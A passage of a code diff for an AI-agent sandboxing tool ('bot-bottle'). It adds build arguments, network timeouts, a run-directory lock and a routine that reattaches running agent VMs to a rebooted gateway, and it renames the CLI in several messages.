        _stream_rootfs(key, ip, tag, export_ctr, base)
    finally:
@@ -184,15 +197,26 @@ def _send_dockerfile(private_key: Path, guest_ip: str, dockerfile: Path, ctx: st
            f"{proc.stderr.decode(errors='replace').strip()}")


-def _buildah_build(private_key: Path, guest_ip: str, ctx: str, tag: str) -> None:
+def _buildah_build(
+    private_key: Path,
+    guest_ip: str,
+    ctx: str,
+    tag: str,
+    build_args: dict[str, str],
+) -> None:
    # Stream buildah's step-by-step output straight to our stderr (like the
    # docker backend's `docker build`), so a long first build (base pull +
    # apt/npm installs) shows live progress instead of a silent wait. The
    # remote stderr is where buildah writes its `STEP i/n` lines.
    info(f"buildah build {tag} in the infra VM (streaming output)")
+    arg_flags = " ".join(
+        f"--build-arg {shlex.quote(f'{name}={value}')}"
+        for name, value in build_args.items()
+    )
    rc = _ssh_streamed(
        private_key, guest_ip,
-        f"buildah build {_BUILD_FLAGS} -t {tag} -f {ctx}/Dockerfile {ctx}/ctx",
+        f"buildah build {_BUILD_FLAGS} {arg_flags} "
+        f"-t {tag} -f {ctx}/Dockerfile {ctx}/ctx",
        timeout=_BUILD_TIMEOUT_SECONDS,
    )
    if rc != 0:
@@ -17,6 +17,7 @@ from ...orchestrator.lifecycle import DEFAULT_STARTUP_TIMEOUT_SECONDS
 from . import infra_vm
 from .gateway import FirecrackerGateway
 from .orchestrator import FirecrackerOrchestrator
+from .reconcile import attach_bottled_agents_to_gateway


 class FirecrackerInfraService(InfraService):
@@ -67,9 +68,11 @@ class FirecrackerInfraService(InfraService):
            # holds the signing key) mints the role-scoped `gateway` JWT for the
            # gateway, which never sees the key (#469).
            orchestrator.ensure_running(startup_timeout=startup_timeout)
-            self.gateway().connect_to_orchestrator(
+            gateway = self.gateway()
+            gateway.connect_to_orchestrator(
                orchestrator.gateway_url(), orchestrator.mint_gateway_token())
            infra_vm.record_booted_version(want)
+            attach_bottled_agents_to_gateway(url, gateway)
            return url

    def stop(self) -> None:
@@ -41,6 +41,8 @@ from ... import resources
 from ...log import die, info
 from . import util

+ARTIFACT_HTTP_TIMEOUT_SECONDS = 30.0
+
 # Bump if the on-disk artifact *format* changes (compression, layout) so a new
 # scheme can't collide with a cached/published artifact of the old one.
 _ARTIFACT_FORMAT = "1"
@@ -49,9 +51,18 @@ _ARTIFACT_FORMAT = "1"
 # from its own generic package; the Dockerfiles baked into each differ (only the
 # orchestrator rootfs carries buildah), so the versions are hashed separately.
 ROLES = ("orchestrator", "gateway")
-_DOCKERFILES = {
-    "orchestrator": ("Dockerfile.orchestrator", "Dockerfile.orchestrator.fc"),
-    "gateway": ("Dockerfile.gateway",),
+_BUILD_INPUTS = {
+    "orchestrator": (
+        "image-build-args.json",
+        "Dockerfile.orchestrator",
+        "Dockerfile.orchestrator.fc",
+        "requirements.orchestrator.lock",
+    ),
+    "gateway": (
+        "image-build-args.json",
+        "Dockerfile.gateway",
+        "requirements.gateway.lock",
+    ),
 }

 _DEFAULT_BASE = "https://gitea.dideric.is"
@@ -101,7 +112,7 @@ def infra_artifact_version(
        h.update(str(path.relative_to(repo_root)).encode())
        h.update(b"\0")
        h.update(path.read_bytes())
-    for name in _DOCKERFILES[role]:
+    for name in _BUILD_INPUTS[role]:
        h.update(name.encode())
        h.update(b"\0")
        h.update((repo_root / name).read_bytes())
@@ -155,7 +166,9 @@ def _download(url: str, dest: Path) -> None:
    """Stream `url` to `dest` (atomic via a `.part` sibling)."""
    tmp = dest.with_suffix(dest.suffix + ".part")
    try:
-        with urllib.request.urlopen(_open(url)) as resp, open(tmp, "wb") as out:
+        with urllib.request.urlopen(
+            _open(url), timeout=ARTIFACT_HTTP_TIMEOUT_SECONDS,
+        ) as resp, open(tmp, "wb") as out:
            shutil.copyfileobj(resp, out, _CHUNK)
    except urllib.error.HTTPError as e:
        tmp.unlink(missing_ok=True)
@@ -133,10 +133,15 @@ def build_infra_images_with_docker() -> None:
    root = str(resources.build_root())
    docker_mod.build_image(
        _ORCHESTRATOR_IMAGE, root, dockerfile="Dockerfile.orchestrator")
+    orchestrator_base = docker_mod.pinned_local_image_ref(_ORCHESTRATOR_IMAGE)
    docker_mod.build_image(
        _GATEWAY_IMAGE, root, dockerfile="Dockerfile.gateway")
    docker_mod.build_image(
-        _ORCHESTRATOR_FC_IMAGE, root, dockerfile="Dockerfile.orchestrator.fc")
+        _ORCHESTRATOR_FC_IMAGE,
+        root,
+        dockerfile="Dockerfile.orchestrator.fc",
+        build_args={"ORCHESTRATOR_BASE_IMAGE": orchestrator_base},
+    )


 def build_rootfs_dir(role: str) -> Path:
@@ -199,7 +204,7 @@ def boot_vm(
    Records the PID."""
    if not netpool.tap_present(slot.iface):
        die(f"infra link {slot.iface} not present.\n"
-            f"    ./cli.py backend setup --backend=firecracker")
+            f"    bot-bottle backend setup --backend=firecracker")

    run_dir.mkdir(parents=True, exist_ok=True)
    rootfs = run_dir / "rootfs.ext4"
@@ -108,7 +108,7 @@ def verify_isolation(private_key: Path, guest_ip: str) -> None:
        die(f"ISOLATION FAILURE: the VM reached the host canary "
            f"{canary_ip}:{canary_port}. The egress boundary is not in "
            f"force — refusing to run the agent (fail-closed). Verify the "
-            f"nft table with: ./cli.py backend setup --backend=firecracker")
+            f"nft table with: bot-bottle backend setup --backend=firecracker")
    if result.returncode == 2:
        die("isolation probe inconclusive: the guest has no python3/bash/nc "
            "to run the connectivity test. Refusing to continue "
@@ -46,7 +46,7 @@ from ...log import die, info, warn
 from ...supervisor.types import SUPERVISE_PORT
 from ..docker.egress import EGRESS_PORT
 from ..util import AGENT_CA_BUNDLE, AGENT_CA_PATH
-from . import firecracker_vm, image_builder, isolation_probe, netpool, util
+from . import firecracker_vm, image_builder, isolation_probe, lifecycle_lock, netpool, util
 from .bottle import FirecrackerBottle
 from .bottle_plan import FirecrackerBottlePlan
 from ...orchestrator.store.config_store import resolve_teardown_timeout
@@ -164,25 +164,29 @@ def launch(
        )

        # Step 6: build the per-bottle rootfs + SSH key, then boot.
-        run_dir = util.cache_dir() / "run" / plan.slug
-        run_dir.mkdir(parents=True, exist_ok=True)
-        # Remove the run dir on teardown so the per-bottle rootfs.ext4 (~1G)
-        # doesn't leak. Registered before vm.terminate below so it runs *after*
-        # it (ExitStack is LIFO): the VM is gone before we rm its rootfs.
-        stack.callback(lambda: shutil.rmtree(run_dir, ignore_errors=True))
-        rootfs = run_dir / "rootfs.ext4"
-        util.build_rootfs_ext4(agent_base, rootfs)
-        private_key, pubkey = util.generate_keypair(run_dir)
+        # Cleanup takes the same lock while refreshing its process snapshot.
+        # Hold it until the VMM exists so a newly-created run dir can never be
+        # mistaken for an orphan in the build-before-boot window.
+        with lifecycle_lock.hold():
+            run_dir = util.cache_dir() / "run" / plan.slug
+            run_dir.mkdir(parents=True, exist_ok=True)
+            # Remove the run dir on teardown so the per-bottle rootfs.ext4 (~1G)
+            # doesn't leak. Registered before vm.terminate below so it runs
+            # *after* it (ExitStack is LIFO).
+            stack.callback(lambda: shutil.rmtree(run_dir, ignore_errors=True))
+            rootfs = run_dir / "rootfs.ext4"
+            util.build_rootfs_ext4(agent_base, rootfs)
+            private_key, pubkey = util.generate_keypair(run_dir)

-        vm = firecracker_vm.boot(
-            name=plan.container_name,
-            rootfs=rootfs,
-            tap=slot.iface,
-            guest_ip=slot.guest_ip,
-            host_ip=slot.host_ip,
-            pubkey=pubkey,
-            run_dir=run_dir,
-        )
+            vm = firecracker_vm.boot(
+                name=plan.container_name,
+                rootfs=rootfs,
+                tap=slot.iface,
+                guest_ip=slot.guest_ip,
+                host_ip=slot.host_ip,
+                pubkey=pubkey,
+                run_dir=run_dir,
+            )
        stack.callback(vm.terminate)
        firecracker_vm.wait_for_ssh(vm, private_key)
        persist_env_var_secret(private_key, slot.guest_ip, ctx.env_var_secret)
@@ -0,0 +1,30 @@
+"""Serialize Firecracker run-directory creation with orphan cleanup."""
+
+from __future__ import annotations
+
+import fcntl
+from contextlib import contextmanager
+from pathlib import Path
+from typing import Generator
+
+from . import util
+
+
+def _lock_path() -> Path:
+    return util.cache_dir() / "run.lifecycle.lock"
+
+
+@contextmanager
+def hold() -> Generator[None]:
+    """Exclude cleanup while a launch directory lacks a visible VMM."""
+    path = _lock_path()
+    path.parent.mkdir(parents=True, exist_ok=True)
+    with path.open("a", encoding="utf-8") as handle:
+        fcntl.flock(handle, fcntl.LOCK_EX)
+        try:
+            yield
+        finally:
+            fcntl.flock(handle, fcntl.LOCK_UN)
+
+
+__all__ = ["hold"]
@@ -3,7 +3,7 @@ config renderers (shell command + NixOS module) shown to operators.

 The Firecracker backend needs a privileged one-time network setup:
 a pool of point-to-point TAP devices (owned by the invoking user, so
-`./cli.py start` never needs root) and a dedicated nftables table that
+`bot-bottle start` never needs root) and a dedicated nftables table that
 isolates every VM. The pool parameters live in exactly one place —
 `netpool.defaults.env`, a plain KEY=VALUE file next to this module —
 and every consumer reads *that*: this module (below), the shell script
@@ -177,14 +177,20 @@ def gw_slot() -> Slot:
 # --- fail-closed verification ---------------------------------------

 def _run_ok(argv: list[str]) -> bool:
-    """Run a probe command, treating a missing binary as failure
+    """Run a probe command, treating an unavailable binary as failure
    (rather than crashing) so callers can stay fail-closed."""
    try:
        return subprocess.run(
            argv, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
            check=False,
        ).returncode == 0
-    except FileNotFoundError:
+    except OSError:
+        # Not only "missing". A name on PATH that isn't executable by this
+        # user raises PermissionError, and CPython reports that EACCES in
+        # preference to the ENOENT from the other PATH entries — which is
+        # how `doctor` came to die with a traceback on a fresh macOS
+        # account. Any OSError means the probe couldn't run, which for a
+        # fail-closed check is indistinguishable from "not present".
        return False


@@ -244,7 +250,9 @@ def overlapping_routes() -> list[RouteConflict]:
            ["ip", "-json", "route", "show", "table", "all"],
            capture_output=True, text=True, check=False,
        )
-    except FileNotFoundError:
+    except OSError:
+        # Missing, or present-but-not-executable for this user; either way
+        # there are no routes we can enumerate. See _run_ok.
        return []
    if proc.returncode != 0 or not proc.stdout.strip():
        return []
@@ -307,11 +315,11 @@ def allocate(slug: str) -> tuple[Slot, IO[str]]:
        return s, handle
    die(f"Firecracker TAP pool exhausted ({pool_size()} slots, all in "
        f"use). Stop a running bottle or raise BOT_BOTTLE_FC_POOL_SIZE "
-        f"and re-run `./cli.py backend setup --backend=firecracker`.")
+        f"and re-run `bot-bottle backend setup --backend=firecracker`.")
    raise AssertionError("unreachable")


-# --- config renderers (shown by `./cli.py backend setup`) -----------
+# --- config renderers (shown by `bot-bottle backend setup`) -----------

 # The persistent unit is the portable install: the same systemd oneshot
 # on every systemd distro (Debian/Ubuntu/Fedora/RHEL/Arch/…).
@@ -34,6 +34,7 @@ from pathlib import Path
 from . import infra_artifact, infra_vm, util

 _CHUNK = 1 << 20
+_REGISTRY_HTTP_TIMEOUT_SECONDS = 30.0

 _GZ_NAME = "rootfs.ext4.gz"
 _SHA_NAME = "rootfs.ext4.gz.sha256"
@@ -91,7 +92,9 @@ def _put(url: str, body: "bytes | Path", token: str) -> None:
        req.add_header("Authorization", f"token {token}")
    req.add_header("Content-Type", "application/octet-stream")
    try:
-        with urllib.request.urlopen(req) as resp:
+        with urllib.request.urlopen(
+            req, timeout=_REGISTRY_HTTP_TIMEOUT_SECONDS,
+        ) as resp:
            print(f"  uploaded {url} (HTTP {resp.status})")
    except urllib.error.HTTPError as e:
        if e.code == 409:
@@ -112,7 +115,9 @@ def _delete(url: str, token: str) -> None:
    if token:
        req.add_header("Authorization", f"token {token}")
    try:
-        with urllib.request.urlopen(req):
+        with urllib.request.urlopen(
+            req, timeout=_REGISTRY_HTTP_TIMEOUT_SECONDS,
+        ):
            pass
    except urllib.error.HTTPError as e:
        if e.code != 404:
@@ -151,7 +156,10 @@ def _try_download_published(role: str, role_dir: Path) -> str | None:
    version = _role_version(role)
    sha_url = infra_artifact.artifact_url(version, _SHA_NAME, role=role)
    try:
-        with urllib.request.urlopen(infra_artifact._open(sha_url)):
+        with urllib.request.urlopen(
+            infra_artifact._open(sha_url),
+            timeout=_REGISTRY_HTTP_TIMEOUT_SECONDS,
+        ):
            pass
    except urllib.error.HTTPError as e:
        if e.code == 404:
@@ -195,7 +203,10 @@ def _publish_bundle(role: str, role_dir: Path, token: str) -> str:
    # present, a re-publish is a no-op. Otherwise clear any partial upload left
    # by an interrupted prior attempt and upload the complete set.
    try:
-        with urllib.request.urlopen(infra_artifact._open(sha_url)) as resp:
+        with urllib.request.urlopen(
+            infra_artifact._open(sha_url),
+            timeout=_REGISTRY_HTTP_TIMEOUT_SECONDS,
+        ) as resp:
            remote_sha = resp.read().decode("utf-8").split()[0].strip().lower()
    except urllib.error.HTTPError as e:
        if e.code != 404:
@@ -0,0 +1,199 @@
+"""Bring-up reconcile: re-attach all running agent VMs to a freshly-booted gateway.
+
+Called from the cold-boot branch of `FirecrackerInfraService.ensure_running()`
+after `gateway.connect_to_orchestrator()` completes. Restores the three
+gateway-dependent services for every live bottle:
+
+  - **CA** — push the current (freshly-minted) gateway CA to each agent's
+    trust store and run `update-ca-certificates`, so the agent trusts the
+    new CA on its next egress call.
+  - **git-gate** — re-provision each bottle's bare repos and per-repo creds
+    in the gateway, rebuilt from the persisted host-side state dir.
+  - **egress tokens** — read the agent's `ENV_VAR_SECRET` and feed
+    `reprovision_bottles` to restore the orchestrator's in-memory tokens.
+
+Per-bottle failures are caught, logged, and skipped so one unreachable VM
+does not block the others or the gateway coming up (PRD 0081).
+"""
+
+from __future__ import annotations
+
+import json
+import subprocess
+from pathlib import Path
+
+from ...bottle_state import git_gate_state_dir
+from ...gateway import GatewayError
+from ...gateway.git_gate.render import GitGateUpstream
+from ...git_gate.plan import GitGatePlan
+from ...log import info
+from ...orchestrator.client import OrchestratorClient, OrchestratorClientError
+from ...orchestrator.reprovision import reprovision_bottles
+from ..provision_gateway import provision_git_gate
+from ..util import AGENT_CA_PATH
+from . import cleanup, util
+from .gateway import FirecrackerGateway
+
+# Where persist_env_var_secret writes the key on the agent VM (matches
+# consolidated_launch._ENV_VAR_SECRET_PATH — duplicated to avoid a
+# circular import through infra.py).
+_ENV_VAR_SECRET_PATH = "/run/bot-bottle/env-var-secret"
+
+
+def _guest_ip_from_config(config_path: Path) -> str:
+    """Read the agent VM's guest IP from its Firecracker config file."""
+    try:
+        config = json.loads(config_path.read_text())
+        args = config["boot-source"]["boot_args"]
+        ip_arg = next(p for p in args.split() if p.startswith("ip="))
+        return ip_arg.removeprefix("ip=").split(":", 1)[0]
+    except (OSError, ValueError, KeyError, TypeError, StopIteration):
+        return ""
+
+
+def attach_bottled_agents_to_gateway(
+    orchestrator_url: str, gateway: FirecrackerGateway,
+) -> None:
+    """Reconcile all live agent VMs against the freshly-booted gateway.
+
+    Fetches the new CA, lists registered bottles, then for each live run dir
+    pushes the CA, re-provisions git-gate, and restores egress tokens. Each
+    per-bottle step is wrapped so a failure is logged and skipped."""
+    try:
+        ca_pem = gateway.ca_cert_pem()
+    except GatewayError as exc:
+        info(f"bring-up reconcile: could not fetch gateway CA, skipping: {exc}")
+        return
+
+    client = OrchestratorClient(orchestrator_url)
+    try:
+        bottles = client.list_bottles()
+    except OrchestratorClientError as exc:
+        info(f"bring-up reconcile: could not list bottles, skipping: {exc}")
+        return
+
+    source_ip_to_bottle_id: dict[str, str] = {}
+    for b in bottles:
+        source_ip = b.get("source_ip")
+        bottle_id = b.get("bottle_id")
+        if isinstance(source_ip, str) and isinstance(bottle_id, str):
+            source_ip_to_bottle_id[source_ip] = bottle_id
+
+    transport = gateway.provisioning_transport()
+    secrets_by_ip: dict[str, str] = {}
+
+    for run_dir in cleanup.live_run_dirs():
+        slug = run_dir.name
+        guest_ip = _guest_ip_from_config(run_dir / "config.json")
+        private_key = run_dir / "bottle_id_ed25519"
+        if not guest_ip or not private_key.is_file():
+            continue
+
+        # CA: push the gateway's current certificate to the agent's trust store.
+        try:
+            _push_ca(private_key, guest_ip, ca_pem)
+        except Exception as exc:
+            info(f"bring-up reconcile: CA push to {slug!r} failed: {exc}")
+
+        # git-gate: re-provision repos + creds from the persisted state dir.
+        bottle_id = source_ip_to_bottle_id.get(guest_ip)
+        if bottle_id:
+            try:
+                _reprovision_git_gate(transport, bottle_id, slug)
+            except Exception as exc:
+                info(f"bring-up reconcile: git-gate for {slug!r} failed: {exc}")
+
+        # egress tokens: read ENV_VAR_SECRET from the agent's tmpfs.
+        proc = subprocess.run(
+            util.ssh_base_argv(private_key, guest_ip) + [f"cat {_ENV_VAR_SECRET_PATH}"],
+            capture_output=True, text=True, check=False,
+        )
+        if proc.returncode == 0 and proc.stdout.strip():
+            secrets_by_ip[guest_ip] = proc.stdout.strip()
+
+    # Restore in-memory egress tokens for all bottles that exposed a key.
+    if secrets_by_ip:
+        try:
+            count = reprovision_bottles(client, secrets_by_ip)
+            if count:
+                info(
+                    f"bring-up reconcile: restored egress tokens for {count} bottle(s)"
+                )
+        except OrchestratorClientError as exc:
+            info(f"bring-up reconcile: egress token restore failed: {exc}")
+
+
+def _push_ca(private_key: Path, guest_ip: str, ca_pem: str) -> None:
+    """SSH the gateway CA PEM into the agent VM and update its trust store.
+
+    Runs as the SSH root user (the agent VM's dropbear accepts root). Each
+    step uses check=True so a failure raises and the caller's except clause
+    logs and continues."""
+    ssh = util.ssh_base_argv(private_key, guest_ip)
+    # mkdir is idempotent; rootfs builds may not preserve the target dir.
+    subprocess.run(
+        ssh + ["mkdir -p /usr/local/share/ca-certificates"],
+        capture_output=True, check=True,
+    )
+    subprocess.run(
+        ssh + [f"cat > {AGENT_CA_PATH}"],
+        input=ca_pem, text=True, capture_output=True, check=True,
+    )
+    subprocess.run(
+        ssh + [f"chmod 644 {AGENT_CA_PATH} && update-ca-certificates"],
+        capture_output=True, check=True,
+    )
+
+
+def _reprovision_git_gate(
+    transport: object, bottle_id: str, slug: str,
+) -> None:
+    """Re-provision one bottle's git-gate repos and creds from its state dir.
+
+    Reads `upstreams.json` (written by `provision_git_gate_dynamic_keys` at
+    launch) to reconstruct the GitGateUpstream table, then calls
+    `provision_git_gate` which places the credential files and inits the bare
+    repos in the gateway. No-op when there is no `upstreams.json` (the bottle
+    has no git upstreams)."""
+    state_dir = git_gate_state_dir(slug)
+    upstreams_file = state_dir / "upstreams.json"
+    if not upstreams_file.exists():
+        return
+
+    raw = json.loads(upstreams_file.read_text())
+    upstreams: list[GitGateUpstream] = []
+    for u in raw:
+        name = u["name"]
+        # The key in the state dir is preferred: gitea deploy keys are written
+        # there by provision_git_gate_dynamic_keys; static keys keep their
+        # original manifest path.
+        key_in_state = state_dir / f"{name}-key"
+        identity_file = (
+            str(key_in_state) if key_in_state.is_file()
+            else u.get("identity_file", "")
+        )
+        known_hosts = state_dir / f"{name}-known_hosts"
+        upstreams.append(GitGateUpstream(
+            name=name,
+            upstream_url=u["upstream_url"],
+            upstream_host=u.get("upstream_host", ""),
+            upstream_port=u.get("upstream_port", ""),
+            identity_file=identity_file,
+            known_host_key=u.get("known_host_key", ""),
+            known_hosts_file=known_hosts if known_hosts.is_file() else Path(),
+        ))
+
+    if not upstreams:
+        return
+
+    plan = GitGatePlan(
+        slug=slug,
+        entrypoint_script=state_dir / "git_gate_entrypoint.sh",
+        hook_script=state_dir / "git_gate_pre_receive.sh",
+        access_hook_script=state_dir / "git_gate_access_hook.sh",
+        upstreams=tuple(upstreams),
+    )
+    provision_git_gate(transport, bottle_id, plan)  # type: ignore[arg-type]
+
+
+__all__ = ["attach_bottled_agents_to_gateway"]
@@ -8,7 +8,7 @@ bundled setup script. `status()` reports what's present, including
 whether the pool range collides with an existing route.

 Called through `FirecrackerBottleBackend.setup` / `.status`, which the
-generic `./cli.py backend {setup,status}` command dispatches to.
+generic `bot-bottle backend {setup,status}` command dispatches to.
 """

 from __future__ import annotations
@@ -34,7 +34,7 @@ _UNIT_PATH = Path("/etc/systemd/system") / netpool.SYSTEMD_UNIT

 def _owner() -> str:
    # Under `sudo`, USER is root but SUDO_USER is the real invoker — the
-    # TAPs must be owned by them so `./cli.py start` stays rootless.
+    # TAPs must be owned by them so `bot-bottle start` stays rootless.
    return os.environ.get("SUDO_USER") or os.environ.get("USER") or "youruser"


@@ -161,7 +161,7 @@ def _setup_systemd() -> None:
        if rc == 0:
            sys.stderr.write(
                f"Installed and started {netpool.SYSTEMD_UNIT}. Verify with "
-                f"`./cli.py backend status --backend=firecracker`.\n"
+                f"`bot-bottle backend status --backend=firecracker`.\n"
            )
        else:
            sys.stderr.write(
@@ -181,7 +181,7 @@ def _setup_systemd() -> None:
    )
    sys.stderr.write(
        f"\n(Or re-run this as root to install it directly: "
-        f"sudo ./cli.py backend setup --backend=firecracker)\n"
+        f"sudo bot-bottle backend setup --backend=firecracker)\n"
    )


@@ -334,7 +334,7 @@ def status() -> int:
        sys.stderr.write(f"range overlap: none (base {netpool.ip_base()})\n")
    _report_persistence()
    if not ok:
-        sys.stderr.write("\nRun: ./cli.py backend setup --backend=firecracker\n")
+        sys.stderr.write("\nRun: bot-bottle backend setup --backend=firecracker\n")
    return 0 if ok else 1


@@ -9,7 +9,7 @@ generation.

 The privileged network setup (TAP pool + nft table) is a one-time
 operator step — see `netpool.py`, `scripts/firecracker-netpool.sh`,
-and `./cli.py backend setup --backend=firecracker`.
+and `bot-bottle backend setup --backend=firecracker`.
 """

 from __future__ import annotations
@@ -132,18 +132,18 @@ def _require_network_pool() -> None:
             f"{netpool.pool_size()} slots) overlaps existing routes: "
             f"{detail}. This can shadow or be shadowed by that route; "
             f"set BOT_BOTTLE_FC_IP_BASE to a free range and re-run "
-             f"./cli.py backend setup --backend=firecracker.")
+             f"bot-bottle backend setup --backend=firecracker.")
    missing = netpool.missing_taps()
    if missing:
        die(f"network pool incomplete — missing TAP devices: "
-            f"{', '.join(missing)}.\n    ./cli.py backend setup --backend=firecracker")
+            f"{', '.join(missing)}.\n    bot-bottle backend setup --backend=firecracker")
    if shutil.which("nft") is not None and not netpool.nft_table_present():
        # nft is queryable and says the table is absent — that's a
        # definite, catchable misconfiguration; fail early.
        warn(f"isolation table `inet {netpool.NFT_TABLE}` not found via nft. "
             "If this is a permissions issue it will be re-checked "
             "empirically after boot; otherwise run: "
-             "./cli.py backend setup --backend=firecracker")
+             "bot-bottle backend setup --backend=firecracker")


 # --- rootfs pipeline (rootless) -------------------------------------
@@ -43,7 +43,7 @@ class Freezer(ABC):

        Calls _freeze for the backend-specific snapshot, then writes the
        committed image reference to per-bottle state and marks the bottle
-        preserved so the next `./cli.py resume` boots from the snapshot.
+        preserved so the next `bot-bottle resume` boots from the snapshot.

        Raises CommitCancelled if the user declines an interactive
        confirmation prompt (e.g. the macos-container stop prompt).
@@ -51,7 +51,7 @@ class Freezer(ABC):
        image_ref = self._freeze(agent)
        write_committed_image(agent.slug, image_ref)
        mark_preserved(agent.slug)
-        info(f"to resume from this snapshot: ./cli.py resume {agent.slug}")
+        info(f"to resume from this snapshot: bot-bottle resume {agent.slug}")
        self._export_hint(agent.slug, image_ref)

    @abstractmethod
@@ -25,3 +25,11 @@ class MacosContainerBottleCleanupPlan(BottleCleanupPlan):
    @property
    def empty(self) -> bool:
        return not self.containers and not self.networks
+
+    def intersect(self, current: BottleCleanupPlan) -> "MacosContainerBottleCleanupPlan":
+        if not isinstance(current, MacosContainerBottleCleanupPlan):
+            raise TypeError("cleanup plans must have the same backend type")
+        return MacosContainerBottleCleanupPlan(
+            containers=tuple(x for x in self.containers if x in current.containers),
+            networks=tuple(x for x in self.networks if x in current.networks),
+        )
@@ -4,7 +4,9 @@ from __future__ import annotations

 import subprocess

-from ...log import info, warn
+from .. import EnumerationError
+from ..cleanup_control import CleanupFailures
+from ...log import info
 from . import util as container_mod
 from .bottle_cleanup_plan import MacosContainerBottleCleanupPlan

@@ -19,8 +21,8 @@ def _list_prefixed_containers() -> list[str]:
        check=False,
    )
    if result.returncode != 0:
-        warn(f"container list failed: {result.stderr.strip()}")
-        return []
+        detail = result.stderr.strip() or f"exit {result.returncode}"
+        raise EnumerationError(f"container list failed: {detail}")
    return sorted(
        name for name in (line.strip() for line in result.stdout.splitlines())
        if name.startswith(_PREFIX)
@@ -35,7 +37,8 @@ def _list_prefixed_networks() -> list[str]:
        check=False,
    )
    if result.returncode != 0:
-        return []
+        detail = result.stderr.strip() or f"exit {result.returncode}"
+        raise EnumerationError(f"container network list failed: {detail}")
    return sorted(
        name for name in (line.strip() for line in result.stdout.splitlines())
        if name.startswith(_PREFIX)
@@ -51,19 +54,17 @@ def prepare_cleanup() -> MacosContainerBottleCleanupPlan:


 def cleanup(plan: MacosContainerBottleCleanupPlan) -> None:
+    failures = CleanupFailures()
    for name in plan.containers:
        info(f"container delete --force {name}")
-        subprocess.run(
+        failures.run(
            ["container", "delete", "--force", name],
-            stdout=subprocess.DEVNULL,
-            stderr=subprocess.DEVNULL,
-            check=False,
+            f"deleting container {name}",
        )
    for name in plan.networks:
        info(f"container network delete {name}")
-        subprocess.run(
+        failures.run(
            ["container", "network", "delete", name],
-            stdout=subprocess.DEVNULL,
-            stderr=subprocess.DEVNULL,
-            check=False,
+            f"deleting network {name}",
        )
+    failures.raise_if_any()
@@ -5,7 +5,7 @@ from __future__ import annotations
 import subprocess

 from ...bottle_state import read_metadata
-from .. import ActiveAgent
+from .. import ActiveAgent, EnumerationError
 from .infra import INFRA_NAME, ORCHESTRATOR_NAME

 # The name every agent container carries: `bot-bottle-<slug>`. Exported
@@ -20,17 +20,18 @@ CONTAINER_NAME_PREFIX = "bot-bottle-"
 _INFRA_NAMES = frozenset({INFRA_NAME, ORCHESTRATOR_NAME})


-class EnumerationError(RuntimeError):
-    """container list failed; the resulting live set is not authoritative."""
-
-
 def enumerate_active() -> list[ActiveAgent]:
-    result = subprocess.run(
-        ["container", "list", "--quiet"],
-        capture_output=True,
-        text=True,
-        check=False,
-    )
+    try:
+        result = subprocess.run(
+            ["container", "list", "--quiet"],
+            capture_output=True,
+            text=True,
+            check=False,
+        )
+    except FileNotFoundError as exc:
+        raise EnumerationError(
+            "container list failed: container CLI not found"
+        ) from exc
    if result.returncode != 0:
        raise EnumerationError(
            f"container list failed: "
@@ -107,7 +107,8 @@ def _layer_nested_containers(
    """
    if not plan.nested_containers:
        return agent_image
-    derived = f"{agent_image}{nested_containers_mod.IMAGE_SUFFIX}"
+    pinned_base = container_mod.pinned_local_image_ref(agent_image)
+    derived = f"{pinned_base}{nested_containers_mod.IMAGE_SUFFIX}"
    if plan.spec.image_policy == "cached":
        if not container_mod.image_exists(derived):
            die(
@@ -116,7 +117,10 @@ def _layer_nested_containers(
            )
        info(f"using cached nested-container image {derived!r}")
        return derived
-    return nested_containers_mod.build_image(agent_image, container_mod.build_image)
+    return nested_containers_mod.build_image(
+        pinned_base,
+        container_mod.build_image,
+    )


@contextmanager
@@ -55,7 +55,7 @@ _GUEST_DEVICES = ("/dev/fuse", "/dev/net/tun")


 def build_image(
-    base_image: str,
+    pinned_base: str,
    build: Callable[..., None],
 ) -> str:
    """Layer the nested-container tooling onto an already-built agent image.
@@ -66,14 +66,15 @@ def build_image(
    # TODO(#394): replace this hand-rolled Dockerfile with a docker-layer
    # abstraction once that infrastructure exists.
    """
-    image = f"{base_image}{IMAGE_SUFFIX}"
+    image = f"{pinned_base}{IMAGE_SUFFIX}"
    init_script = Path(__file__).with_name("nested-containers-init.sh")
    with tempfile.TemporaryDirectory(prefix="bot-bottle-nested-containers.") as tmp:
        context = Path(tmp)
        shutil.copy2(init_script, context / "nested-containers-init.sh")
        (context / "Dockerfile").write_text(
-            "FROM docker:28-cli AS docker_cli\n"
-            f"FROM {base_image}\n"
+            "ARG DOCKER_CLI_BASE_IMAGE\n"
+            "FROM ${DOCKER_CLI_BASE_IMAGE} AS docker_cli\n"
+            f"FROM {pinned_base}\n"
            "USER root\n"
            "COPY --from=docker_cli /usr/local/bin/docker /usr/local/bin/docker\n"
            "COPY --from=docker_cli /usr/local/libexec/docker/cli-plugins/"
@@ -5,7 +5,7 @@ Like Docker, this backend needs no privileged network-pool provisioning
 running. `setup()` points at the install/`container system start` steps;
 `status()` reports readiness. Reached via
 `MacosContainerBottleBackend.setup` / `.status`, dispatched from the
-generic `./cli.py backend {setup,status}`.
+generic `bot-bottle backend {setup,status}`.
 """

 from __future__ import annotations
@@ -75,5 +75,5 @@ def status() -> int:
        if not _service_running():
            ok = False
    if not ok:
-        sys.stderr.write("\nRun: ./cli.py backend setup --backend=macos-container\n")
+        sys.stderr.write("\nRun: bot-bottle backend setup --backend=macos-container\n")
    return 0 if ok else 1
@@ -13,6 +13,7 @@ import time
 from datetime import datetime, timezone
 from typing import Iterable

+from ... import resources
 from ...log import die, info


@@ -60,7 +61,13 @@ def dns_server() -> str:
    return _host_ipv4_dns() or _DEFAULT_DNS


-def build_image(ref: str, context: str, *, dockerfile: str = "") -> None:
+def build_image(
+    ref: str,
+    context: str,
+    *,
+    dockerfile: str = "",
+    build_args: dict[str, str] | None = None,
+) -> None:
    """Build an OCI image with Apple's BuildKit-backed `container build`.

    Set `BOT_BOTTLE_NO_CACHE=1` (the `start --no-cache` flag) to force
@@ -83,6 +90,13 @@ def build_image(ref: str, context: str, *, dockerfile: str = "") -> None:
        if not os.path.isabs(dockerfile):
            dockerfile = os.path.join(context, dockerfile)
        args.extend(["-f", dockerfile])
+    effective_build_args = resources.image_build_args(
+        dockerfile,
+        context=context,
+    ) if dockerfile else {}
+    effective_build_args.update(build_args or {})
+    for name, value in effective_build_args.items():
+        args.extend(["--build-arg", f"{name}={value}"])
    args.append(context)
    subprocess.run(args, check=True)

@@ -668,6 +682,47 @@ def image_id(ref: str) -> str:
    raise AssertionError("unreachable")


+def pinned_local_image_ref(ref: str) -> str:
